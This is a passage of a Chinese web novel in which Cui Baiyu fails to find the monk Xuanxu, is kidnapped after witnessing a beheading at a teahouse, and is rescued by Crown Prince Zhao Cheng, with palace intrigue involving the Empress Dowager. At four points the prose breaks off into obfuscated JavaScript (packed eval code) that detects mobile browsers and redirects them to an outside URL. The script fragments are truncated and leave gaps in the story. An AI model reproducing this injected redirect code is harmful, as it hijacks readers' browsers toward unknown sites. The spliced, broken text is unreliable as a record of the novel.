他现在还心有余悸,不由得岔开了话题,“那主子打算怎么回复祁将军?” 一直钓着人也不是个事啊。 崔九轻笑一声,“不必管他,用得着的时候,他自己会出来挡刀。” 五年前犯下错误的人都要付出代价,谁都别想逃。 马车上,曹怡谨慎地观察着她的一举一动,过了好一会儿,开口问道:“崔姑娘真的是去相国寺求姻缘?” 当然不是了。 都这个时候,崔白玉哪有什么心思求姻缘,她之所以去相国寺,无非是想见一个世外高人,叫上曹怡不过是为了掩护。 这样一方面可以跟赵呈有个交代,另一方面就是骗过崔九。 崔白玉没有功夫傍身,要想摆脱他们的监视难于登天,所以她只能趁着人群拥挤喧哗的时候脱身,然后再有曹怡作掩护吸引注意力。 这是她唯一能想到且能实行的计策。 而且崔白玉那日买桂花糕的时候,特意观察了一下这里的人穿着,青色褐色居多,所以她今日穿了一件青色的裙子,料子也不算精致。 反观曹怡今日身上穿的裙子是湛蓝色,料子是绫罗绸缎,在人群里是异常显眼。 崔白玉抱着小白,缓缓回答道:“当然了,今日天气这么好,不出来走走都可惜啊?” 曹怡收回视线,掀起马车的帘子往外瞧了一眼,确认没跟着人,心下松了口气。 “对了,”崔白玉想起一件事,拿出了藏在衣服夹层中的册子,“这份策划案是否可行还不确定,但应该能给你一些帮助。” 曹怡心中狐疑,翻开看了一下,神情有些震惊,“……女子书院,招生简章?书院创建实施方案?” 因为字迹过于丑陋潦草,她念的时候磕磕绊绊的。 崔白玉本来是不想拿出来的,毕竟十日速成的毛笔字实在一言难尽,拿出来有点现眼,“算不上特别专业,但里面内容挺多的,重点在招生指南,组织机构和管理制度,应该可以给你提供一些思路。” 曹怡闻言,戒备顿时烟消云散,取而代之的是欣喜和激动,她迫不及待地又仔细地阅读了一遍。 良久,感激道:“崔姑娘你这些东西写的好全面!” 几乎解决了她面临的所有难题。 崔白玉好似不在意地笑了一下,揉了揉猫头,“小意思,举手之劳。” 这一举动算是打破了她的固有印象,曹怡想了想,往她身边稍微挪了挪身子,“崔姑娘,你有兴趣跟我一起开设书院吗?” 崔白玉转过头看她,心里一阵感慨,“这恐怕就不行了。” 讲真的,自从她来到这里,曹怡是第一个对她表示肯定还表露善意的人,她确实想帮一把,奈何她穿成的是崔白玉,是一个跳进黄河都洗不清的人。 过了今日,她必然是要离开这里的。 曹怡点了点头,见她心不在焉,便也没在多言,“没事,若是那天你想过来帮忙,我随时欢迎。” 她或许只是名声差了点,心地还是善良的。 崔白玉淡淡地嗯了一声。 曹怡又拿起册子研究,过了一会儿,问了几个不太懂的词汇和文字,崔白玉收回思绪,都耐心讲解了一下。 等到了相国寺,曹怡跟着崔白走下马车,语气变得亲切许多,已然忘记了自己是被要挟来的,“我们现在要去何处?” “一起四处逛逛就好。”崔白玉环顾了一圈周围的环境,其中有不少人的注意到她们,纷纷看看过来,崔白玉下意识顺着他们的视线望去,最终停留在曹怡的额间。 即使画了花钿疤痕也是很明显的。 曹怡抬手触摸了一下额头,轻笑一声,“不会吓到人吧?” “不会。”崔白玉收回视线,“去里面逛逛。” 她得找到一个和尚,此人在书中的描述上知天文下知地理,无所不知无所不晓,是位深藏不露的得道高僧。 他不仅算出了苏有枝命里的劫难,帮她成功化解,还有苏有枝经营的云绣坊成为天下第一绣坊,他也是功不可没。 最关键的是这和尚常年四处游历,如果能让他带自己离开这里是最好不过的。 当然了,崔白玉也知道不能空手套白狼,所以她来之前做了一件很不道德的事。 她偷偷去苏有枝的院子,带出来一壶桃花酿。 那位得道高僧每次帮她做事都会要一壶酒作为酬劳,苏有枝的酿酒技术是一流,只要稍微一勾就能勾出他肚子的馋虫....... 这次,崔白玉已然做好了完全的准备。 只可惜,理想很丰满,现实很骨感,崔白玉折腾了一天,将相国寺大大小小的寺庙都逛了一遍都没找见人,眼看着太阳下山,寺里人已经走了大半。 曹怡累得是在撑不住了,全然不顾形象,直接坐在一块大石头上跟贴身丫鬟依偎在一起,她以为来相国寺是在湖畔饮酒赋诗,没成想是到处乱窜....... 她喘了一口气,“崔姑娘,我实在是太累,需要休息一下。” 别说是她了,崔白玉的脚上早就磨出血泡了。 可来都来了,她又不甘心。 崔白玉抬头看了看日头,“你们在这休息吧,我再去那边逛逛。” 曹怡听言作势要起身,崔白玉没想到她心眼这么实诚,“真的不用了,我就随便看一眼,你们在这等着就好。” 曹怡点了一下头,重新坐回去,“我和小环在这等着,你一个人注意安全。” 崔白玉应了一声,走过石桥,到了一间荒僻的小院。 院子里一片阗寂,傍晚的余晖透过树叶,将这里衬托的氛围无比祥和。 崔白玉走进去,四下望了一圈,忽然身后传来一道诡异的声音。 那人道:“施主莫不是在找贫僧?” 崔白玉心里一紧,脚步也跟着顿了一下,回头望去。 映入眼帘的是一位衣衫褴褛的中年和尚,袈裟补丁摞着补丁,右手捏着的佛珠更是犹如经历千年风化的化石。 他一半的面容藏在阴影之中,总之看起来很神秘,但也很邋遢。 崔白玉上下打量他,目光最终落在散了帮的草鞋,好似闻到了一股异味。 和尚脸上带着笑意,双手合十,躬身行了一个礼,继续问道:“施主,可是带了桃花酿?” 崔白玉也客气了一下,学着双手合十,微微弯了个腰,“您就是玄虚大师?” 玄虚笑了笑,“正是贫僧。” 崔白玉微不可察地皱了一下眉,心想:得道高僧为什么会混成这副鬼样子。 玄虚做出一个请的动作,示意她在旁边的石墩落座。 崔白玉没细看,一屁股坐在了上面,想了想,还想选择相信他,“大师,我想求您帮我一个小忙。” “施主,天命不可违,”玄虚不知从哪拿出的抹布擦了擦石墩上灰尘,慢条斯理地坐下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曹怡上前关切道:“崔姑娘你怎么了?” 崔白玉摇了摇头,“没什么。” 原计划不行,那就启动第二计划——趁乱跑。 这个时辰寺庙只剩几个香客,大家不约而同聚在一起,心照不宣地快步走出寺庙,在天黑之前来到花神庙的灯会。 一位年纪稍小的姑娘不明白大家为什么害怕,张口问了好半天,但大家都讳莫如深,最后是一位青年男子跟她讲述缘由,“元狩七年,有个男孩刚出生就被立为储君,但因为来历不明而被钦天监视为七杀命格,众所周知,七杀命格是极凶之煞,陛下听言大发雷霆,杖毙了好几个官员才将此事平息下去,然而就在小太子八岁那年,后宫接连暴毙了两个妃子,谣言愈演愈烈,搅得满城风雨,陛下不得已将人送到相国寺为国家祈福,这一去就是两年,而就在要将人接回来的时候,忽然天降鬼火,将小太子活活......烧死了。” 崔白玉侧耳听着,忽然被脚下的石块绊了一下分了神,没听见后面的话。 青年男子继续说道:“听说那间寺庙烧一整夜,蓝色的火焰吞噬一切,上空响了好几道天雷。” 小姑娘越想越怕,脸色不由变了变,抬手捂住耳朵,“你,你别说,我知道了,不听了。” 崔白玉凑过去,不由得问道:“那个小太子叫什么名字?” 青年男子低声道:“赵丞。” 崔白玉皱了一下眉毛,“赵呈......” 原来他还有这么悲惨的人生经历。 曹怡在外面奔波一天,提议去茶馆休息一下,填饱肚子。 崔白玉觉得这是个分开的好机会,欣然应下。 三人一同走进茶馆。 崔白玉以加菜为借口,走出雅间,岂料刚要下楼梯的那一瞬,被一个黑衣男子撞到在地。 她连忙护住怀里的小白,低头一看,发现自己的衣服上蹭上了鲜红的血。 周围没有任何响动,忽然陷入一片寂静,黑衣男子也消失的无影无踪。 崔白玉慢慢抬起头来,望着楼梯口对面的那间门窗敞开的屋子,登时愣住了。 她甚至忘记尖叫出声,只觉得胃里一阵翻滚。 第一次看见死人几乎都会胃痉挛。 15. 闹鬼 在昏暗的房间里,一个人的身体慢慢倒在地上,鲜血汩汩流出,类似球形的东西在地上滚两圈,撞到门槛就停下了。 崔白玉望着眼前发生的一切,愣了不知多久,冷汗已然浸透了全身。 她扶着栏杆艰难起身,不由得倒退两步。 下一刻,忽然被一双手捂住嘴拖入黑暗。 曹怡迟迟没有等到人,听到楼道外传来一阵纷乱的脚步声,心里有些担心,“小环,崔姑娘一直没回来,会不会是遇到什么事?” “能有什么事?”小环心中对崔白玉颇有微词,脸上勉强挤出一点笑容,“今天外面这么热闹,应该是一个人出去溜达了。” “我们去找找她吧。”曹怡站起身,稍微整理了一下衣裙,“感觉崔姑娘一整天都心不在焉,应该是遇到了难处。” 小环知道她是个菩萨心肠,多说无益,轻轻地放下茶杯,起身跟着她离开。 随后门吱呀一声开了。 正当两人要走出房间,一位穿天策卫服色的军官拦住了她们,“所有人都待在屋子一步都不准踏出!” 曹怡一愣,收住脚步,四下里看着,“可是出了什么事?” 她之前跟着父亲办过不少案子,犯罪现场也去过很多次,眼下天策卫封锁现场,又放上警示的牌子,毫无疑问这里是出了案子。 军官闻声,将人仔细地打量一番,认出她是曹兵的女儿,语气顿时客气不少,“刚才有人报案,茶馆里有个人被割下头颅。” 曹怡惊得目瞪口呆,“什么?” 小环脸上的表情充满了疑惧和惊慌,下意识地躲在她身后。 方叙言勘查完房间,站在楼道尽头,目光落在了楼梯扶手上的刮痕,抬脚走过去,用指腹轻轻摩挲了几下,发现是个箭头,指向楼梯口尽头的窗户。 他手按在刀柄上,正要去那边查看,曹怡一路小跑过来,紧张道:“小侯爷,请问你们的人看到崔姑娘了吗?她跟我一起来的,我在房间等了许久,她都没回来!” 方叙言脸色陡变,“去了多久了?” 曹怡答道:“不到半个时辰。” 不到半个时辰,这和刘岭的死亡时间差不多。 方叙言走到窗前向外望去,凝眉思索起来。 茶馆位于山脚,窗户后面是人烟稀少的弯曲山道,如果他没记错的话,对面的矮山上有一座破旧的土地庙。 与此同时,宋津跟着崔白玉下山,结果到了灯会,人忽然找不见了。 他一颗心瞬间提到了嗓子眼,赶忙回来禀告:“主子,崔姑娘跟丢了,附近茶馆还发生了一起杀人案。” 其实也不怪他跟丢了,相国寺闹鬼的传言渐渐被人淡忘,所以这次的灯会比以往的人都要多,摩肩接踵,人声鼎沸。而崔白玉这小妮子坏得很,穿着一件不显眼青色衣裙在人群中穿梭,再加上她有意避开,他跟踪起来着实费力。 崔九问起另一桩事,“杀人案?” 宋津道:“死者是个中年男子,被人割下头颅。” “看来有人已经坐不住了。”崔九轻笑一声,仿佛发现了什么新奇至极的事情,“去看看。” 在一间荒僻的院子里,瘸腿凳子上点着一盏油灯,火苗如豆,地上铺了点稻草,透出一股令人窒息的空气。 崔白玉犹自惊魂未定,还未反应过来,就被仍在了稻草上,摔得七荤八素。 黑衣人听到屋外的信号,看了一眼墙角便离开了屋子。 崔白玉欲哭无泪,艰难地坐起身,没有吭声,倒是小白喵了一声,藏进她的袖子里。 她悄悄站起身,走到窗户旁,小心翼翼地看着外面的情况。 霎时间,一道闪电亮起,崔白玉顿时生出一层鸡皮疙瘩,脑子里下意识想了一遍所有关于深山老林的恐怖电影。 还有方才血腥残暴的场面历历在目。 靠! 她干脆一头撞死好了。 精心设计这么久的计划全泡汤了,现在就算她认识路,这个时候赶回去东家也不一定会等她。 那日买桂花糕,她和商铺的东家约好花朝节在花神庙碰头,然后一起去寰州做买卖。 最关键的是她付了银子,还给他写一份糕点铺连锁店实施方案! 结果现在被杀人掳走,还扔到荒山野岭。 崔白玉莫名想哭,过了一会儿,还是忍不住落泪。 躲在暗处的宋津以为她折腾的差不多了,该消停下来了。 谁知,不过几息的功夫,这人又有了新动作。 崔白玉一边抽抽搭搭地抹眼泪,一边拿出藏在鞋子里的刀片,锯上了窗户上的木板。 脚踹开动静太大了,万一被那个杀人犯听见肯定会人头落地,锯木头有风声作掩护。 居然还留了一手!这人内里的骨头到底是有多硬? 宋津偷偷看了一眼主子,心头猛地一颤。 显然,崔九脸上的神情并不好看。 之后大约过了一盏茶的功夫,她将木板锯的差不多了,又把刀片放在鞋底,怜惜地看了一眼脚指头的血泡。 人怎么会倒霉到这种程度? 崔白玉毫不犹豫地抱着小白翻过窗户,咬紧牙关,闷头跑进山林。 崔九一直在暗处静静地观察着。 宋津对此却感慨颇深。 崔白玉确实是一个不同寻常的女子,尤其是都这时候了,她居然还舍不得扔了那只猫。 风声呼啸而过。 不知跑了多久,崔白玉实在走不动了,躲在灌木丛中,听着杂沓的脚步声越来越近,只得将小白藏在了灌木丛深处。 然后就被人拎起后衣领,从灌木丛里拽出来,“殿下,人找到了。” 赵呈听闻她被绑架本来还是挺担心的,哪知看着那张小花猫脸,顿时笑出了声。 可他分明不喜欢哭哭啼啼的女人。 崔白玉反应过来,看清对方的面孔,仿佛看见了一道圣光,当即一个跨步上前抱住了对方大腿,痛哭流涕。 身旁的侍卫猝不及防,包括赵呈在内,在场的众人都愣住了。 众目睽睽之下,崔白玉吸了吸鼻子,将大腿抱得更紧了些,“......太子殿下,我求你了,你收我做小弟吧!” 这又是唱得哪出戏?赵呈低头看着她,好整以暇,调笑道:“寻常人不都是以身相许么?怎么到你这就变了?” 崔白玉委屈道:“我这身份也配不上太子殿下啊!” 众人:“.......” “配得上,”赵呈轻笑一声,俯下身抓住她的手腕,把人揽在怀里,语气温柔了几分,“可有受伤?” 哭声戛然而止,崔白玉吓了一跳,霎时僵住身子,张了张嘴没能说出话来,摇了摇头。 赵呈神色柔和,拿手拨开崔白玉乱了的头发,抹去她眼角的泪水,“没受伤就好,回去了。” 崔白玉退开一步,轻轻拍了一下脸,确定自己没有疯,又转头看向了赵呈。 “......” “孤的大腿也不是谁想抱就能抱的,”赵呈目光深深地看着她,“这笔账,孤记下了。” 换言之,他早晚要讨回来。 崔白玉觉得自己有些冲动了,转过身去抱猫。 赵呈理了理被扯乱的衣襟,仔细端详着她的背影,嘴角慢慢扬了上去,“怎么跑出来的?” 崔白玉渐渐冷静下来,想起此事,觉得有些奇怪,“他好像把我扔在那里就不管了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151595|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许是嫌你太笨了。”赵呈目中闪烁着复杂的光芒,抬手示意旁边的侍卫拿走那只黑煤球。 小白嗷了一声,明显有些不乐意。 崔白玉弯下腰挑了一根结识地木棍,拄着慢慢跟上前。 赵呈嫌她走的慢,让其中一个侍卫搀着她,崔白玉自然不会拂了他好意,谢过之后,毫不客气地把手臂搭在那人肩上。 成年后,男女相处诸多忌讳,她居然一点都不在意。 赵呈挑了一下眉,无端改了主意,一把将她拽过来,屈尊纡贵把人背到身上。 崔白玉嘴角微微抽动,终是忍不住问道:“太子殿下,你是怎么知道我被人掳走的?” 赵呈道:“你猜。” 崔白玉想了想,“你遇见曹姑娘了?” “不算太傻。”赵呈停下脚步,将人往上颠了颠,“你是不是该控制一下饮食了?” 崔白玉闻言不厚道地笑了一下,在他耳边低声道:“太子殿下要是累了,可以换旁边的侍卫。” 她说话的时候两人靠得很近,温热气息近在咫尺,赵呈知道她是无心之举,但终归免不了心烦意乱。 等走出山林,赵呈没好气地将人扔进马车,狠狠地瞪了她一眼。 途中两人陷入沉默,一直回到崔府都没再说一句话。 崔白玉经人搀扶走下马车,一双眼睛澄澈明朗,声音却极其谄媚,“太子殿下,您要不要来府上坐坐?” 赵呈面上表情好似透着十二万分的漫不经心,喉结滚动着,“你说这话的时候,也不看看什么时辰?” 崔白玉心情还算不错,笑道:“那太子殿下,慢走。” 赵呈哼了一声,算是没了脾气。 崔白玉看着马车离开,松了口气,紧接着,一回头看见崔九,笑容顿时僵在脸上,差点被自己的口水呛到。 崔九挑了一下眉毛,语气不轻不重地说:“玩得很开心?” 崔白玉点了一下头,“我在相国寺有一个发现。” 崔九忍不住冷笑一声,耐心性子问道:“什么?” 想来想去,他还是想把人扔进水里,洗掉那一身臭味。 崔白玉唔了一声,抱着小白回到春华堂,朝着崔九低声道:“是关于太子殿下的事,五年前那场火不是意外。” 这可真是哪壶不开提哪壶,崔九脖颈上青筋暴起,心脏也在胸腔内剧烈跳动,转瞬间,眼底浮现出的杀意。 崔白玉转过身完美错过,继续说道:“那场大火根本不是天灾,是人祸,他们看到的鬼火,不过是因为在大火里面加入了些别的东西,这里面可能含有铜元素或钡元素。” 崔九悄无声息地走到她身边。 “你看,”崔白玉不知从那里捡来铜丝放在蜡烛的火焰上,“铜丝放在外焰经过灼烧,火焰就会呈蓝绿色,这不过是一个别有用心的小把戏,这世上根本就没有所谓的天谴,雷劈也是人为,京城的古塔和宫殿一般都会有蚩尾作为的装饰物,还有瓦饰,这些东西表面都会镀上一层有色金属膜,里面藏有铁丝或者铜丝将其与地面连接,这样就能起到把雷电流引到地下,形成了良好的导电通道,如果想要引雷,那这个人只需要在寺庙稍作手脚,就会达到想要的效果。所以那些流言蜚语都是假的,他们之所以这么做,很有可能是嫉妒太子殿下......过于优秀。” 崔九居高临下地看着她,无形中带有一股震慑力,“你还知道这些东西?” “我知道的可多了,”崔白玉轻轻哼了一声,抬头对上他的视线,翘到天上去的尾巴又耷拉下来,“......怎,怎么了?” 崔九捏碎了桌上的茶杯,碎瓷片深深扎进肉里,好似没有痛觉。 他竭力克制着情绪说道:“去沐浴。” 16. 夜宿 噗通一声,水花四溅。 崔白玉被扔进装满水的浴桶,扑腾了好几下才稳住身子。 出乎意料的是,浴桶里的水温正合适,可她没有嘱咐下人烧热水,并且,她们也不敢擅自进她的屋子,除了心怀鬼胎之人。 热水是崔九准备的? 崔九背过身,往外走,语气里没什么起伏,“洗干净再出来。” 崔白玉站起身,总算是缓过一口气,撩起额头前的湿发,小声嘀咕着,“我说的是太子殿下,又没说你.......你帮我把衣服拿进来?” 崔九停下脚步,回头望着她,“你喜欢他?” 这怎么可能?崔白玉知道这里的所有人都带着一张虚伪的面具,无论是谁都不能交付真心。 可人非草木,一旦相处久就会萌生出不一样的感情。 现在,她甚至舍不得小白,这是她在这里唯一的慰藉,而且就在刚才她们也算是同生共死了。 “我喜欢你啊,”崔白玉大言不惭说道,“虽然你想杀我,但你还是救了我一次。” 这是事实,崔白玉被他救过一次,大抵是吊桥效应,潜意识里对他有些依赖,而且还掺杂着乱麻似的感情。但人的本能是会对陌生的事物和人产生恐惧,尤其是崔九和书中的描写截然相反,他已然成了最大的未知数。 崔九道:“证明。” 崔白玉以为自己听错了,眨巴了一下眼睛,感到莫名其妙,慌忙解释又找不到合适的话,支支吾吾的说:“......什么证明?” 崔九道:“证明你喜欢我。” “嗯?”到了这个时候,崔白玉已然意识到觉得不对劲。 崔九派人跟踪她,这是意料之中的事,但他为什么要备上热水? 就算是嫌弃她,可春华堂离着西厢房距离差这么远,吹什么风也熏不着他啊? 莫不是见她成功接近太子,打算跟她合作了? 崔白玉恍然大悟,并未回答那个问题,“你放心,我无论如何都不会背叛你的,哪怕太子经历坎坷,遭遇危险,我也不会有一丝怜悯之心。” “他可怜?”沉默片刻后,崔九眸子微微一动,“确实挺可怜的,毕竟,他这辈子只能给人当傀儡。” 傀儡?原著好像没有描述过这件事。 元狩二十三年,太子赵呈谋反篡位,崔琅华带兵及时赶到,东宫所有官员,谋士,妃子,包括太监丫鬟,全部都在午门斩首,而太子赵呈不堪受辱,大狱服下鸩毒。 崔白玉微微皱了一下眉。 世上有许多意料之外的怪事,但细究起来,又都在情理之中。 原著里,皇帝对赵呈格外冷淡和严厉,就好像是要把他雕刻成另外一个人的模样,一度令人窒息。 甚至,因为赵呈做什么都达不到皇帝心中的标准,朝中大臣也对他也颇有微词。 这一幕落在崔九眼里,便是在担心赵呈。 他脸上多了一抹残忍的笑意,“跟着他不会有什么好下场。” 崔白玉心道:跟着你也不一定能活。 等苏有枝回来,她的罪行公布于众,崔琅华顾及往日的兄妹情谊或许还会犹豫,可崔九没准就是第一个动刀的人。 “这就是你的不对了,明明是你让我靠近太子殿下的,现在任务我完成了,太子殿下对我很好,而且还......”崔白玉看他走过来顿时血压升高,心里怦怦直跳,蹲下身慢慢的潜入水中。 崔九透出了一股浓重的病态来,从牙缝里蹦出几个字,“还什么?” “我说,太子殿下人挺好的,”对方的视线很危险,崔白玉被他看得心里发慌,“虽然嘴巴毒了一点.......” 崔九道:“如果你想去东宫,现在就可以走。” 倘若他心情好,没准还会给她收尸。 这无疑是反话,若此时离开屋子半步她会死得很惨,崔白玉茫然了片刻,“你为什么对他有这么大的敌意?他以前伤害过你?” 崔九静静地看着她,好像不打算开口。 崔白玉无奈道:“你什么都不和我说……我怎么掩护你的身份?” 崔九道:“你不必知道。” 行,不管缘由是什么,在他眼里,崔白玉只配当一个被蒙在鼓里的傻子,“好吧,我要沐浴了,你能不能喂一下小白?” 崔九眼中多了一些说不清的情绪,抬脚朝外走。 崔白玉松了口气,将水桶里的水重新换了一遍,脱下湿衣服,舒舒服服地泡上了热水澡。 诚然,这是一个非常解压的方法。 在此之前,作为一个有强迫症的总裁特助,她偶尔受不住老板的训话和施压,就会找一个非常华贵的温泉场所放松一下,然后顺手点一个手法精湛的按摩师。 崔白玉在物质消费上从不亏待自己,不然,她累死累活挣来的高薪去哪花? 但就是因为这样,她为了让自己的平淡的生活增添一点刺激,一时冲动跟着她刚交的男朋友去一条荒废的高速公路飙车。 然后飙到一百五冲到海里,成为了崔白玉。 可她分明在医院醒来过一次,为什么会出现在这? 难不成是回光返照? 崔白玉整理了一下思绪,从浴桶里出来,擦净了身上的水,换上干净的亵衣。 小白已经被人喂过了,这会儿趴在她的枕边打呼噜。 折腾了一天,已然是累极了,崔白玉不等头发晾干,径直躺在床上,闭上眼准备安安稳稳地入睡。 然而事情还没结束,当房间陷入一片黑暗,屋外轻微的声音都会传入耳中。 茶舍看到的那一幕在脑海里一闪而过。 血淋淋的尸体,滚动的头颅......空气中仿佛还有那股子浓郁的血腥味。 崔白玉猛然睁开眼睛,弹射般坐起身来,小白惊得浑身一颤,抬起头四处张望。 这他妈怎么睡! 幼小的心灵已然受到了极大的伤害,崔白玉不寒而栗,觉得自己这辈子都忘不了那一场面。 她只是一个普通人啊! 这么血腥残酷的画面,谁能经受的住? 这日子简直没法过了。 空气安静了一会儿,崔白玉下定决心,磨磨蹭蹭地起身,抱着枕头,裹着被子,去了西边的厢房。 子时刚过,夜色深沉,阴风阵阵,草木摇曳在月光下更显得诡异。 崔白玉有些汗流浃背,哆哆嗦嗦地站在门外轻轻敲了一下门。 头发散乱,未干的发稍湿乎乎地黏在脸上,此时,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔白玉已经彻底睡过去,可以说得上是毫无戒备之心。 崔九鬼使神差地伸出手,轻轻摩挲她的颈侧,不知盯着看了多久,天色渐渐泛白,细微的晨光透出窗棂。 感觉似乎有些不一样了,是一种难以言喻的古怪感,但还是有些恼火。 他又用指腹摩挲一番。 就在这时,崔白玉脸上有些痒,窸窸窣窣地动了一下身子,抓住那个碍事物件,压在了脸颊下。 崔九:“……” 果然,还是扔出去的好。 在梦里,崔白玉正在家中两米宽的大床上打滚,结果醒来的时候发现还是躺在椅子上,兀自气了一会儿。 房间空荡荡,崔九早就离开了,但他从春华堂拿来一套衣服。 还算贴心? 崔白玉揉着酸痛的腰愣了一会儿,穿好衣服往外走。 院里的丫鬟看到她走出来,手里的扫帚直接脱手甩飞出去,脸上的震惊无以复加。 崔白玉知道她们在想什么,但她只想破罐子破摔,一点也不掩饰,瘸着腿去了春华院。 脚上磨出来的血泡还没上药呢。 17. 阴晴 坤宁宫。 两个宫娥端着红木填漆盘子,从屏风后面走来,盘子里各放着水果和糕点,摆放在案几上。 齐太后浅浅一笑,抿了口热茶,示意眼前人落座,言行举止间,自有一股雍容华贵的气质。 齐文婷心下惶恐,但也只能坐到她旁边的位子。 齐嬛十五岁入宫,今年四十八岁,膝下无子嗣,当初建昭皇帝还是晋王的时候,就娶了她为太子妃,这么多年来,后宫无数妃嫔,为了讨得皇上的欢心与宠爱,勾心斗角、明枪暗箭,可尽管如此,依旧无人能撼动她的地位。 哪怕是之前建昭皇帝最宠爱柳贵妃,亦是被踩在脚下,落得尸骨无存,变成永不能暝目的香艳冤魂。 小安子颇有眼力见,知道齐太后的一举一动都意味着什么,见状立即带着宫女太监回避。 等人走的差不多了,齐太后收回目光,意味深长地说:“文婷在东宫待了也有些日子了,哀家怎么从你这都听不到一点好消息?” 这消息自然是指子嗣的事。 天上没有掉馅饼的好事,齐文婷是齐氏家族旁支,且是庶出,身份低微,她之所以能嫁到东宫无疑是齐太后的安排。 可去到东宫已有两年之久,按照齐太后的计划,她应该怀上一个孩子才对。 齐文婷神色微僵,目光躲闪,“姑母,上次太医已经来瞧过了,是我身子不争气,小时候贪凉落下病根,因为体寒,所以一直怀不上。现在已经吃了一个多月,太医说过段日子就能调养过来。” 齐太后凝眉敛神,脸上挂着的笑容消失了,不紧不慢地说道:“那就怪了,东宫还有其他妃嫔,为什么她们也没有动静?” “这......”齐文婷一愣,眼里飙了泪花,随即起身跪在地上。 齐太后微眯了一下眼睛,沉默着没说话。 后宫嫔妃,包括朝中大臣,他们都知道齐嬛是个争强好胜且心狠手辣的女人,她想要的东西,得不到哪怕是毁了也在所不惜。 例如小时候的狸猫,因为被人抢走而将其活活掐死,她痛恨别人抢夺她的东西,也痛恨别人将她踩在脚下。 齐家的女眷都很害怕她。 齐文婷亦是如此,“姑母,都是侄女的错,侄女不该同她们拈酸吃醋,让太子疏远她们,侄女......知错了,求姑母再给侄女一个机会。” 齐太后脸上的神情一下子冷了,凉凉地笑了一下,“同是身为女人,哀家明白你的心思,尤其是太子心性未定,有戒备之心、妒忌之情这是人之常情,可你万万不该为了自己的一己私利,耽误了哀家的计划。” “侄女真的知道错了,求姑母,求姑母,再给侄女一个机会......”齐文婷说着水“哗”地涌了出来,整个人伏在地上。 齐太后从她眼神里看出了名堂,耐人寻味地说:“哀家听说了,这事也不全然怪你,前几日赏花宴,大家都在讨论你和太子情投意合,如胶似漆,是一对儿人人艳羡的鸳鸯,倘若的心思都在你身上,哀家自然也是欢心的。” 齐文婷诚惶诚恐,说话已然是泣不成声,“侄女一直谨记自己的本分,下次一定不会再让姑母失望。” 她能猜出齐太后的心思。 太子赵呈随着年龄增长,愈发不好控制,留一个子嗣,不但可以作为筹码牵制太子,还可以为日后发生意外,留作后手。 齐太后心思微动,没再说什么。 齐文婷艰难地从地上爬起来,福身告退。 小安子放轻脚步进入殿内,迟疑了一下,说道:“太后娘娘,需不需要奴婢再去敲打一下?” 齐太后冷冷一笑,摆了一下手,满不在乎地道:“不必了,酸吃醋是小事,为太子作掩护才是本心。” 这话已经很明白了,齐文婷已经成为弃子。 小安子紧张地咽了口唾沫。 齐太后眼中掠过一丝不易察觉的狡黠,“太子最近有什么动静?” “太子殿下最近跟往日没什么特别的,还是那几个地方,明绛酒楼,春兰舞坊......偶尔会喝醉酒夜不归宿,”小安子想了想,“不过,有一件事需要注意,太子殿下忽然和崔琅华的妹妹走的很近。” 齐太后不敢掉以轻心,斟酌一番问道:“发生了何事?” 小安子道:“花枕派人行刺刘岭的事被她看见了,本来想直接灭口的,但太子殿下出面阻止了。” “崔琅华这两年名气不小,德才兼备,善于权谋,是个能办成大事,按照资历,再熬两年就可以进入内阁,确实是个值得拉拢的人,”齐太后停顿了一下,“他妹妹如何?” 小安子如实道:“差了点意思,京城众多女眷对她都有意见,脾气极差,行事荒唐,和崔大人相比,感觉不像是亲的。” 齐太后闻言不由得笑了一下,“哀家想见见她,事情就交给你了。” 小安子细细地咀嚼着这两句话,随即明白了过来,“奴婢这就去安排。” 花枕受伤,齐文婷倒戈,身边一下子少了两个人,自然需要物色一个新的填补。 齐太后道:“对了,花枕那边有回复吗?” 谈及此,小安子忽然伤感了,“奴婢亲自看过了,伤得很重,手臂连骨头都露出来,但她就是没能看到那个人的脸。” 齐太后皱起眉,冷冷地问:“花枕是哀家亲自培养出来的人,她的武艺如何哀家是知道,京城之中谁能将她重伤至此?” 听了这话,小安子不禁打了一个寒噤,忙不迭的应下,“倘若此人一直潜伏在京城,必然是个隐患,奴婢这就派人去查。” 花枕师从玄空道长,武艺能不能称得上天下第一不好说,但这杀人的功夫一定是榜首。 究竟是何人将她伤得这么重? 崔白玉上药的时候不小心把血泡弄破了,自己抱着脚丫子吹了好半天。 崔九进门依旧没敲门,目睹这一幕,脸上露出微不可察的嫌弃。 崔白玉抬头望着他,将脚塞进被褥里,“我在包扎伤口。” 不是在啃脚...... 崔九眉心一蹙,走到床前,掀开被褥检查了一下伤口,余光扫了旁边上不知在嘀咕什么的崔白玉,问道:“你在说什么?” 难得两人独处,这是个刷好感的绝佳机会,崔白玉假意沉思了一下,轻声开口道:“你要不要搬到我的院子里? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 